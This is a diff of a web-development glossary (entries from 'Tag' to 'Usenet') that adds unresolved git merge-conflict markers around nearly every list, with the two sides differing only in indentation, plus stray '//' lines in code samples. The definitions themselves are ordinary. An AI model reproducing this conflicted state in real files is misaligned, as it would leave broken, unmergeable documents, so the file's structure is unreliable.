@@ -12640,10 +19379,17 @@ Unlike [RUM](/en-US/docs/Glossary/Real_User_Monitoring), synthetic monitoring pr
 
 ## Term: Tag
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
 - Intro
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+-   Intro
+>>>>>>> master
 
 ---
 
@@ -12653,14 +19399,21 @@ The name of an HTML element is the name used in angle brackets such as `<p>` for
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "HTML element"_) on Wikipedia
 - [HTML elements syntax](https://html.spec.whatwg.org/multipage/syntax.html#elements-2) on _glossary("WHATWG"_)
 - [Introduction to HTML](/en-US/docs/Learn/HTML/Introduction_to_HTML)
+=======
+-   _Interwiki("wikipedia", "HTML element"_) on Wikipedia
+-   [HTML elements syntax](https://html.spec.whatwg.org/multipage/syntax.html#elements-2) on _glossary("WHATWG"_)
+-   [Introduction to HTML](/en-US/docs/Learn/HTML/Introduction_to_HTML)
+>>>>>>> master
 
 ---
 
 ## Term: TCP handshake
 
+<<<<<<< HEAD
 - Glossary
 - Networking
 - SSL
@@ -12669,6 +19422,16 @@ The name of an HTML element is the name used in angle brackets such as `<p>` for
 - TCP handshake
 - TLS
 - Web Performance
+=======
+-   Glossary
+-   Networking
+-   SSL
+-   Security
+-   TCP
+-   TCP handshake
+-   TLS
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -12682,14 +19445,21 @@ This handshake step happens after a _glossary('DNS', 'DNS lookup'_) and before t
 
 #### See also
 
+<<<<<<< HEAD
 - [Transport Layer Security (TLS) protocol](/en-US/docs/Web/Security/Transport_Layer_Security)
 - _Glossary("HTTPS"_)
 - _Interwiki("wikipedia", "Transport Layer Security"_) on Wikipedia
+=======
+-   [Transport Layer Security (TLS) protocol](/en-US/docs/Web/Security/Transport_Layer_Security)
+-   _Glossary("HTTPS"_)
+-   _Interwiki("wikipedia", "Transport Layer Security"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: TCP slow start
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Networking
@@ -12697,6 +19467,15 @@ This handshake step happens after a _glossary('DNS', 'DNS lookup'_) and before t
 - Transmission Control Protocol
 - Web Performance
 - data
+=======
+-   Glossary
+-   Infrastructure
+-   Networking
+-   TCP
+-   Transmission Control Protocol
+-   Web Performance
+-   data
+>>>>>>> master
 
 ---
 
@@ -12710,19 +19489,33 @@ Congestion itself is a state that happens within a network layer when the messag
 
 #### See also
 
+<<<<<<< HEAD
 - [Populating the page: how browsers work](/en-US/docs/Web/Performance/How_browsers_work)
 - [http overview](/en-US/docs/Web/HTTP/Overview)
+=======
+-   [Populating the page: how browsers work](/en-US/docs/Web/Performance/How_browsers_work)
+-   [http overview](/en-US/docs/Web/HTTP/Overview)
+>>>>>>> master
 
 ---
 
 ## Term: TCP
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Networking
 - TCP
 - Transmission Control Protocol
 - data
+=======
+-   Glossary
+-   Infrastructure
+-   Networking
+-   TCP
+-   Transmission Control Protocol
+-   data
+>>>>>>> master
 
 ---
 
@@ -12732,6 +19525,7 @@ TCP's role is to ensure the packets are reliably delivered, error free. TCP has
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Transmission Control Protocol"_) (Wikipedia)
 - [HTTP Overview](/en-US/docs/Web/HTTP/Overview)
 - [How browsers work](/en-US/docs/Web/Performance/How_browsers_work)
@@ -12740,13 +19534,28 @@ TCP's role is to ensure the packets are reliably delivered, error free. TCP has
     - _Glossary("IPv4"_)
     - _Glossary("IPv6"_)
     - _Glossary("Packet"_)
+=======
+-   _Interwiki("wikipedia", "Transmission Control Protocol"_) (Wikipedia)
+-   [HTTP Overview](/en-US/docs/Web/HTTP/Overview)
+-   [How browsers work](/en-US/docs/Web/Performance/How_browsers_work)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("IPv4"_)
+    -   _Glossary("IPv6"_)
+    -   _Glossary("Packet"_)
+>>>>>>> master
 
 ---
 
 ## Term: Telnet
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
+=======
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -12754,18 +19563,31 @@ TCP's role is to ensure the packets are reliably delivered, error free. TCP has
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki('wikipedia','Telnet'_) on Wikipedia
+=======
+-   _interwiki('wikipedia','Telnet'_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Texel
 
+<<<<<<< HEAD
 - 3D
 - Drawing
 - Glossary
 - Graphics
 - Texel
 - Texture
+=======
+-   3D
+-   Drawing
+-   Glossary
+-   Graphics
+-   Texel
+-   Texture
+>>>>>>> master
 
 ---
 
@@ -12777,18 +19599,31 @@ Textures are characterised by collections of Texel's, as how images are characte
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Texel (graphics)"_) on Wikipedia
 - [Using textures in WebGL](/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL)
 - [Lighting in WebGL](/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL)
 - [Animating textures in WebGL](/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL)
+=======
+-   _interwiki("wikipedia", "Texel (graphics)"_) on Wikipedia
+-   [Using textures in WebGL](/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL)
+-   [Lighting in WebGL](/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL)
+-   [Animating textures in WebGL](/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL)
+>>>>>>> master
 
 ---
 
 ## Term: Thread
 
+<<<<<<< HEAD
 - Glossary
 - Thread
 - asynchronous
+=======
+-   Glossary
+-   Thread
+-   asynchronous
+>>>>>>> master
 
 ---
 
@@ -12802,22 +19637,39 @@ Overall it can be observed these threads within our operating system are extreme
 
 #### See also
 
+<<<<<<< HEAD
 - [Asynchronous JavaScript](/en-US/docs/Learn/JavaScript/Asynchronous)
 - [Web worker API](/en-US/docs/Web/API/Web_Workers_API)
 - [Service worker API](/en-US/docs/Web/API/Service_Worker_API)
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Main thread"_)
+=======
+-   [Asynchronous JavaScript](/en-US/docs/Learn/JavaScript/Asynchronous)
+-   [Web worker API](/en-US/docs/Web/API/Web_Workers_API)
+-   [Service worker API](/en-US/docs/Web/API/Service_Worker_API)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Main thread"_)
+>>>>>>> master
 
 ---
 
 ## Term: Three js
 
+<<<<<<< HEAD
 - Browser
 - CodingScripting
 - JavaScript
 - Programming Language
 - three.js
+=======
+-   Browser
+-   CodingScripting
+-   JavaScript
+-   Programming Language
+-   three.js
+>>>>>>> master
 
 ---
 
@@ -12825,17 +19677,29 @@ Overall it can be observed these threads within our operating system are extreme
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Three.js"_) on Wikipedia
 - [three.js official website](https://threejs.org/)
+=======
+-   _Interwiki("wikipedia", "Three.js"_) on Wikipedia
+-   [three.js official website](https://threejs.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Time to first byte
 
+<<<<<<< HEAD
 - Glossary
 - Performance
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Performance
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -12847,18 +19711,31 @@ TTFB is the time it takes between the start of the request and the start of the
 
 #### See also
 
+<<<<<<< HEAD
 - [A typical HTTP session](/en-US/docs/Web/HTTP/Session)
 - [PerformanceResourceTiming](/en-US/docs/Web/API/PerformanceResourceTiming)
 - [PerformanceTiming](/en-US/docs/Web/API/PerformanceTiming)
+=======
+-   [A typical HTTP session](/en-US/docs/Web/HTTP/Session)
+-   [PerformanceResourceTiming](/en-US/docs/Web/API/PerformanceResourceTiming)
+-   [PerformanceTiming](/en-US/docs/Web/API/PerformanceTiming)
+>>>>>>> master
 
 ---
 
 ## Term: Time to interactive
 
+<<<<<<< HEAD
 - Glossary
 - Performance
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Performance
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -12872,17 +19749,29 @@ TTI is derived by leveraging information from the _domxref("Long Tasks API"_). A
 
 #### See also
 
+<<<<<<< HEAD
 - [Definition of TTI](https://github.com/WICG/time-to-interactive) from Web Incubator Community Group
 - [Time to Interactive — focusing on human-centric metrics](https://building.calibreapp.com/time-to-interactive-focusing-on-the-human-centric-metrics-22eb7e64dd23) by Radimir Bitsov
 - [Tracking TTI](https://web.dev/user-centric-performance-metrics/#tracking_tti)
+=======
+-   [Definition of TTI](https://github.com/WICG/time-to-interactive) from Web Incubator Community Group
+-   [Time to Interactive — focusing on human-centric metrics](https://building.calibreapp.com/time-to-interactive-focusing-on-the-human-centric-metrics-22eb7e64dd23) by Radimir Bitsov
+-   [Tracking TTI](https://web.dev/user-centric-performance-metrics/#tracking_tti)
+>>>>>>> master
 
 ---
 
 ## Term: TLD
 
+<<<<<<< HEAD
 - Glossary
 - Web
 - WebMechanics
+=======
+-   Glossary
+-   Web
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -12895,6 +19784,7 @@ Here org is the TLD; mozilla.org is the second-level domain name; and developer
 
 _Glossary("IANA"_) today distinguishes the following groups of top-level domains:
 
+<<<<<<< HEAD
 - country-code top-level domains (ccTLD)
 - - : Two-character domains established for countries or territories. Example: _.us_ for United States.
 - internationalized country code top-level domains (IDN ccTLD)
@@ -12912,16 +19802,43 @@ _Glossary("IANA"_) today distinguishes the following groups of top-level domains
 
 - _Interwiki("wikipedia", "TLD"_) on Wikipedia
 - [List of top-level domains](https://www.iana.org/domains/root/db)
+=======
+-   country-code top-level domains (ccTLD)
+-   -   : Two-character domains established for countries or territories. Example: _.us_ for United States.
+-   internationalized country code top-level domains (IDN ccTLD)
+-   -   : ccTLDs in non-Latin character sets (e.g., Arabic or Chinese).
+-   generic top-level domains (gTLD)
+-   -   : Top-level domains with three or more characters.
+-   unsponsored top-level domains
+    -   : Domains that operate directly under policies established by ICANN processes for the global Internet community, for example "com" and "edu".
+-   sponsored top-level domains (sTLD)
+    -   : These domains are proposed and sponsored by private organizations that decide whether an applicant is eligible to use the TLD, based on community theme concepts.
+-   infrastructure top-level domain
+    -   : This group consists of one domain, the _Glossary("ARPA", "Address and Routing Parameter Area"_) (ARPA).
+
+#### See also
+
+-   _Interwiki("wikipedia", "TLD"_) on Wikipedia
+-   [List of top-level domains](https://www.iana.org/domains/root/db)
+>>>>>>> master
 
 ---
 
 ## Term: Transport Layer Security (TLS)
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Infrastructure
 - Security
 - Web Performance
+=======
+-   Cryptography
+-   Glossary
+-   Infrastructure
+-   Security
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -12933,6 +19850,7 @@ All modern browsers support the TLS protocol, requiring the server to provide a
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Transport Layer Security"_) (Wikipedia)
 - [RFC 5246](https://datatracker.ietf.org/doc/html/rfc5246) (The Transport Layer Security Protocol, Version 1.2)
 - [Transport Layer Security](/en-US/docs/Web/Security/Transport_Layer_Security)
@@ -12941,14 +19859,30 @@ All modern browsers support the TLS protocol, requiring the server to provide a
 
     - _Glossary("HTTPS"_)
     - _Glossary("SSL"_)
+=======
+-   _Interwiki("wikipedia", "Transport Layer Security"_) (Wikipedia)
+-   [RFC 5246](https://datatracker.ietf.org/doc/html/rfc5246) (The Transport Layer Security Protocol, Version 1.2)
+-   [Transport Layer Security](/en-US/docs/Web/Security/Transport_Layer_Security)
+-   [OWASP: Transport Layer Protection Cheat Sheet](https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("HTTPS"_)
+    -   _Glossary("SSL"_)
+>>>>>>> master
 
 ---
 
 ## Term: TOFU
 
+<<<<<<< HEAD
 - HTTP
 - SSH
 - Security
+=======
+-   HTTP
+-   SSH
+-   Security
+>>>>>>> master
 
 ---
 
@@ -12958,16 +19892,27 @@ TOFU is used in the SSH protocol, in [HTTP Public Key Pinning](/en-US/docs/Web/H
 
 #### See also
 
+<<<<<<< HEAD
 - [HTTP Public Key Pinning](/en-US/docs/Web/HTTP/Public_Key_Pinning) (_Glossary("HPKP"_))
 - _HTTPHeader("Public-Key-Pins"_)
 - Wikipedia: [TOFU](https://en.wikipedia.org/wiki/Trust_on_first_use)
+=======
+-   [HTTP Public Key Pinning](/en-US/docs/Web/HTTP/Public_Key_Pinning) (_Glossary("HPKP"_))
+-   _HTTPHeader("Public-Key-Pins"_)
+-   Wikipedia: [TOFU](https://en.wikipedia.org/wiki/Trust_on_first_use)
+>>>>>>> master
 
 ---
 
 ## Term: Transferable objects
 
+<<<<<<< HEAD
 - Transferable
 - Workers
+=======
+-   Transferable
+-   Workers
+>>>>>>> master
 
 ---
 
@@ -12996,6 +19941,10 @@ The _jsxref("Uint8Array"_) is copied (duplicated) in the worker while its buffer
 After transfer any attempt to read or write `uInt8Array` from the main thread will throw, but you can still check the `byteLength` to confirm it is now zero.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 // Create an 8MB "file" and fill it.
 var uInt8Array = new Uint8Array(1024 * 1024 * 8); // 8MB
 for (var i = 0; i < uInt8Array.length; ++i) {
@@ -13017,6 +19966,10 @@ console.log(uInt8Array.byteLength); // 0
 The code below shows a _domxref("structuredClone()"_) operation where the underlying buffer is copied from the original object to the clone.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const original = new Uint8Array(1024);
 const clone = structuredClone(original);
 console.log(original.byteLength); // 1024
@@ -13041,6 +19994,7 @@ console.log(original.byteLength); // 0
 
 The items that can be _transferred_ are:
 
+<<<<<<< HEAD
 - _jsxref("ArrayBuffer"_)
 - _domxref("MessagePort"_)
 - _domxref("ReadableStream"_)
@@ -13050,23 +20004,47 @@ The items that can be _transferred_ are:
 - _domxref("ImageBitmap"_)
 - _domxref("VideoFrame"_)
 - _domxref("OffscreenCanvas"_)
+=======
+-   _jsxref("ArrayBuffer"_)
+-   _domxref("MessagePort"_)
+-   _domxref("ReadableStream"_)
+-   _domxref("WritableStream"_)
+-   _domxref("TransformStream"_)
+-   _domxref("AudioData"_)
+-   _domxref("ImageBitmap"_)
+-   _domxref("VideoFrame"_)
+-   _domxref("OffscreenCanvas"_)
+>>>>>>> master
 
 > **Note:** Transferrable objects are marked up in [Web IDL files](https://github.com/w3c/webref/tree/main/ed/idl) with the attribute `Transferrable`.
 
 #### See also
 
+<<<<<<< HEAD
 - [Transferable Objects: Lightning Fast!](https://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast)
 - [Using Web Workers](/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)
 - [Transferable objects in the HTML specification](https://html.spec.whatwg.org/multipage/structured-data.html#transferable-objects)
 - _domxref("DedicatedWorkerGlobalScope.postMessage()"_)
+=======
+-   [Transferable Objects: Lightning Fast!](https://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast)
+-   [Using Web Workers](/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)
+-   [Transferable objects in the HTML specification](https://html.spec.whatwg.org/multipage/structured-data.html#transferable-objects)
+-   _domxref("DedicatedWorkerGlobalScope.postMessage()"_)
+>>>>>>> master
 
 ---
 
 ## Term: Transient activation
 
+<<<<<<< HEAD
 - Transient activation
 - Glossary
 - JavaScript
+=======
+-   Transient activation
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -13077,19 +20055,29 @@ For example, scripts cannot arbitrarily launch a popup that requires _transient
 
 Examples of APIs that require _transient activation_ are:
 
+<<<<<<< HEAD
 - _domxref("MediaDevices.selectAudioOutput()"_)
+=======
+-   _domxref("MediaDevices.selectAudioOutput()"_)
+>>>>>>> master
 
 > **Note:** Transient activation expires after a timeout (if not renewed by further interaction), and may also be "consumed" by some APIs.
 
 #### See also
 
+<<<<<<< HEAD
 - _domxref("MediaDevices.selectAudioOutput()"_)
 - [HTML Living Standard > Transient activation](https://html.spec.whatwg.org/multipage/interaction.html#transient-activation)
+=======
+-   _domxref("MediaDevices.selectAudioOutput()"_)
+-   [HTML Living Standard > Transient activation](https://html.spec.whatwg.org/multipage/interaction.html#transient-activation)
+>>>>>>> master
 
 ---
 
 ## Term: Tree shaking
 
+<<<<<<< HEAD
 - JavaScript
 - Modules
 - Statement
@@ -13097,6 +20085,15 @@ Examples of APIs that require _transient activation_ are:
 - export
 - import
 - tree shaking
+=======
+-   JavaScript
+-   Modules
+-   Statement
+-   Web Performance
+-   export
+-   import
+-   tree shaking
+>>>>>>> master
 
 ---
 
@@ -13108,17 +20105,29 @@ In modern JavaScript applications, we use module bundlers (e.g., [webpack](https
 
 #### See also
 
+<<<<<<< HEAD
 - ["Benefits of dead code elimination during bundling"](https://exploringjs.com/es6/ch_modules.html#_benefit-dead-code-elimination-during-bundling) in Axel Rauschmayer's book: "Exploring JS: Modules"
 - [Tree shaking implementation with webpack](https://webpack.js.org/guides/tree-shaking/)
+=======
+-   ["Benefits of dead code elimination during bundling"](https://exploringjs.com/es6/ch_modules.html#_benefit-dead-code-elimination-during-bundling) in Axel Rauschmayer's book: "Exploring JS: Modules"
+-   [Tree shaking implementation with webpack](https://webpack.js.org/guides/tree-shaking/)
+>>>>>>> master
 
 ---
 
 ## Term: Trident
 
+<<<<<<< HEAD
 - Browser
 - Glossary
 - Infrastructure
 - Trident
+=======
+-   Browser
+-   Glossary
+-   Infrastructure
+-   Trident
+>>>>>>> master
 
 ---
 
@@ -13126,15 +20135,25 @@ In modern JavaScript applications, we use module bundlers (e.g., [webpack](https
 
 #### See also
 
+<<<<<<< HEAD
 - [Trident layout engine](https://en.wikipedia.org/wiki/Trident_%28layout_engine%29) on Wikipedia
+=======
+-   [Trident layout engine](https://en.wikipedia.org/wiki/Trident_%28layout_engine%29) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Truthy
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -13145,6 +20164,10 @@ _Glossary("JavaScript"_) uses _Glossary("Type_Coercion", "type coercion"_) in Bo
 Examples of _truthy_ values in JavaScript (which will be coerced to `true` in boolean contexts, and thus execute the `if` block):
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 if (true)
 if ({})
 if ([])
@@ -13165,6 +20188,10 @@ if (-Infinity)
 If the first object is truthy, the [logical AND operator](/en-US/docs/Web/JavaScript/Reference/Operators/Logical_AND) returns the second operand:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 true && "dog"
 // returns "dog"
 
@@ -13174,20 +20201,35 @@ true && "dog"
 
 #### See also
 
+<<<<<<< HEAD
 - _Glossary("Falsy"_)
 - _Glossary("Type_Coercion", "Type coercion"_)
 - _Glossary("Boolean"_)
+=======
+-   _Glossary("Falsy"_)
+-   _Glossary("Type_Coercion", "Type coercion"_)
+-   _Glossary("Boolean"_)
+>>>>>>> master
 
 ---
 
 ## Term: TTL
 
+<<<<<<< HEAD
 - Caching
 - Domain Name System
 - Glossary
 - Infrastructure
 - Networking
 - Performance
+=======
+-   Caching
+-   Domain Name System
+-   Glossary
+-   Infrastructure
+-   Networking
+-   Performance
+>>>>>>> master
 
 ---
 
@@ -13203,19 +20245,33 @@ In the context of caching, TTL (as an unsigned 32-bit integer) being a part of t
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Time to live", "TTL"_) on Wikipedia
 - [RFC 2181](https://datatracker.ietf.org/doc/html/rfc2181#section-8) on IETF
 - [RFC1035](https://datatracker.ietf.org/doc/html/rfc1035) on IETF
+=======
+-   _Interwiki("wikipedia", "Time to live", "TTL"_) on Wikipedia
+-   [RFC 2181](https://datatracker.ietf.org/doc/html/rfc2181#section-8) on IETF
+-   [RFC1035](https://datatracker.ietf.org/doc/html/rfc1035) on IETF
+>>>>>>> master
 
 ---
 
 ## Term: TURN
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - TURN
 - WebMechanics
 - WebRTC
+=======
+-   Glossary
+-   Infrastructure
+-   TURN
+-   WebMechanics
+-   WebRTC
+>>>>>>> master
 
 ---
 
@@ -13223,18 +20279,31 @@ In the context of caching, TTL (as an unsigned 32-bit integer) being a part of t
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "TURN"_) on Wikipedia
 - [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
 - [Specification](https://www.ietf.org/rfc/rfc5766.txt)
 - [Specification update for IPv6](https://www.ietf.org/rfc/rfc6156.txt)
+=======
+-   _Interwiki("wikipedia", "TURN"_) on Wikipedia
+-   [WebRTC protocols](/en-US/docs/Web/API/WebRTC_API/Protocols)
+-   [Specification](https://www.ietf.org/rfc/rfc5766.txt)
+-   [Specification update for IPv6](https://www.ietf.org/rfc/rfc6156.txt)
+>>>>>>> master
 
 ---
 
 ## Term: Type coercion
 
+<<<<<<< HEAD
 - Coercion
 - JavaScript
 - Type coercion
+=======
+-   Coercion
+-   JavaScript
+-   Type coercion
+>>>>>>> master
 
 ---
 
@@ -13243,6 +20312,10 @@ In the context of caching, TTL (as an unsigned 32-bit integer) being a part of t
 ## Examples
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const value1 = '5';
 const value2 = 9;
 let sum = value1 + value2;
@@ -13255,25 +20328,44 @@ In the above example, JavaScript has _coerced_ the `9` from a number into a stri
 The compiler could have coerced the `5` into a number and returned a sum of `14`, but it did not. To return this result, you'd have to explicitly convert the `5` to a number using the _jsxref("Global_Objects/Number", "Number()"_) method:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 sum = Number(value1) + value2;
 ```
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Type conversion"_) (Wikipedia)
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Type"_)
     - _Glossary("Type conversion"_)
+=======
+-   _Interwiki("wikipedia", "Type conversion"_) (Wikipedia)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Type"_)
+    -   _Glossary("Type conversion"_)
+>>>>>>> master
 
 ---
 
 ## Term: Type conversion
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Type casting
 - Type conversion
+=======
+-   CodingScripting
+-   Glossary
+-   Type casting
+-   Type conversion
+>>>>>>> master
 
 ---
 
@@ -13281,19 +20373,33 @@ sum = Number(value1) + value2;
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Type conversion"_) (Wikipedia)
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("Type"_)
     - _Glossary("Type coercion"_)
+=======
+-   _Interwiki("wikipedia", "Type conversion"_) (Wikipedia)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Type"_)
+    -   _Glossary("Type coercion"_)
+>>>>>>> master
 
 ---
 
 ## Term: Type
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -13307,6 +20413,7 @@ If you are unsure of the type of a value, you can use the [`typeof`](/en-US/docs
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Data type"_) on Wikipedia
 - [JavaScript data types](/en-US/docs/Web/JavaScript/Data_structures)
 - [Glossary](/en-US/docs/Glossary)
@@ -13319,16 +20426,38 @@ If you are unsure of the type of a value, you can use the [`typeof`](/en-US/docs
     - _Glossary("null"_)
     - _Glossary("undefined"_)
     - _Glossary("symbol"_)
+=======
+-   _Interwiki("wikipedia", "Data type"_) on Wikipedia
+-   [JavaScript data types](/en-US/docs/Web/JavaScript/Data_structures)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("JavaScript"_)
+    -   _Glossary("string"_)
+    -   _Glossary("number"_)
+    -   _Glossary("bigint"_)
+    -   _Glossary("boolean"_)
+    -   _Glossary("null"_)
+    -   _Glossary("undefined"_)
+    -   _Glossary("symbol"_)
+>>>>>>> master
 
 ---
 
 ## Term: UDP (User Datagram Protocol)
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - Networking
 - Protocols
 - UDP
+=======
+-   Glossary
+-   Infrastructure
+-   Networking
+-   Protocols
+-   UDP
+>>>>>>> master
 
 ---
 
@@ -13340,16 +20469,27 @@ UDP is suitable for purposes where error checking and correction are either not
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "User Datagram Protocol"_) on Wikipedia
 - [Specification](https://datatracker.ietf.org/doc/html/rfc768)
+=======
+-   _Interwiki("wikipedia", "User Datagram Protocol"_) on Wikipedia
+-   [Specification](https://datatracker.ietf.org/doc/html/rfc768)
+>>>>>>> master
 
 ---
 
 ## Term: UI
 
+<<<<<<< HEAD
 - Accessibility
 - Design
 - Glossary
+=======
+-   Accessibility
+-   Design
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -13357,17 +20497,29 @@ UDP is suitable for purposes where error checking and correction are either not
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "User_interface", "User interface"_) on Wikipedia
 - _interwiki("wikipedia", "Front_end_development", "Front end development"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "User_interface", "User interface"_) on Wikipedia
+-   _interwiki("wikipedia", "Front_end_development", "Front end development"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: undefined
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -13376,6 +20528,10 @@ UDP is suitable for purposes where error checking and correction are either not
 ## Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var x; //create a variable but assign it no value
 
 console.log("x's value is", x); //logs "x's value is undefined"
@@ -13383,14 +20539,23 @@ console.log("x's value is", x); //logs "x's value is undefined"
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Undefined value"_) on Wikipedia
 - [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures)
+=======
+-   _Interwiki("wikipedia", "Undefined value"_) on Wikipedia
+-   [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures)
+>>>>>>> master
 
 ---
 
 ## Term: Unicode
 
+<<<<<<< HEAD
 - Infrastructure
+=======
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -13404,18 +20569,31 @@ The most common Unicode character encoding on the Web is _Glossary("UTF-8"_). Ot
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Unicode"_) on Wikipedia
 - [The Unicode Standard: A Technical Introduction](https://www.unicode.org/standard/principles.html)
+=======
+-   _Interwiki("wikipedia", "Unicode"_) on Wikipedia
+-   [The Unicode Standard: A Technical Introduction](https://www.unicode.org/standard/principles.html)
+>>>>>>> master
 
 ---
 
 ## Term: URI
 
+<<<<<<< HEAD
 - Glossary
 - HTTP
 - Search
 - URI
 - URL
+=======
+-   Glossary
+-   HTTP
+-   Search
+-   URI
+-   URL
+>>>>>>> master
 
 ---
 
@@ -13425,16 +20603,27 @@ The most common are _Glossary("URL","URL"_)s, which identify the resource by giv
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "URI"_) on Wikipedia
 - [RFC 3986 on URI](https://datatracker.ietf.org/doc/html/rfc3986)
+=======
+-   _Interwiki("wikipedia", "URI"_) on Wikipedia
+-   [RFC 3986 on URI](https://datatracker.ietf.org/doc/html/rfc3986)
+>>>>>>> master
 
 ---
 
 ## Term: URL
 
+<<<<<<< HEAD
 - Glossary
 - Infrastructure
 - l10n:priority
+=======
+-   Glossary
+-   Infrastructure
+-   l10n:priority
+>>>>>>> master
 
 ---
 
@@ -13446,18 +20635,31 @@ URLs can also be used for file transfer (_Glossary("FTP"_)) , emails (_Glossary(
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "URL"_) on Wikipedia
 - [Understanding URLs and their structure](/en-US/docs/Learn/Common_questions/What_is_a_URL)
 - The syntax of URLs is defined in the [URL Living Standard](https://url.spec.whatwg.org/)
+=======
+-   _Interwiki("wikipedia", "URL"_) on Wikipedia
+-   [Understanding URLs and their structure](/en-US/docs/Learn/Common_questions/What_is_a_URL)
+-   The syntax of URLs is defined in the [URL Living Standard](https://url.spec.whatwg.org/)
+>>>>>>> master
 
 ---
 
 ## Term: URN
 
+<<<<<<< HEAD
 - Glossary
 - Intro
 - Navigation
 - urn
+=======
+-   Glossary
+-   Intro
+-   Navigation
+-   urn
+>>>>>>> master
 
 ---
 
@@ -13465,14 +20667,23 @@ URLs can also be used for file transfer (_Glossary("FTP"_)) , emails (_Glossary(
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "URN"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "URN"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Usenet
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -13480,12 +20691,17 @@ URLs can also be used for file transfer (_Glossary("FTP"_)) , emails (_Glossary(
 
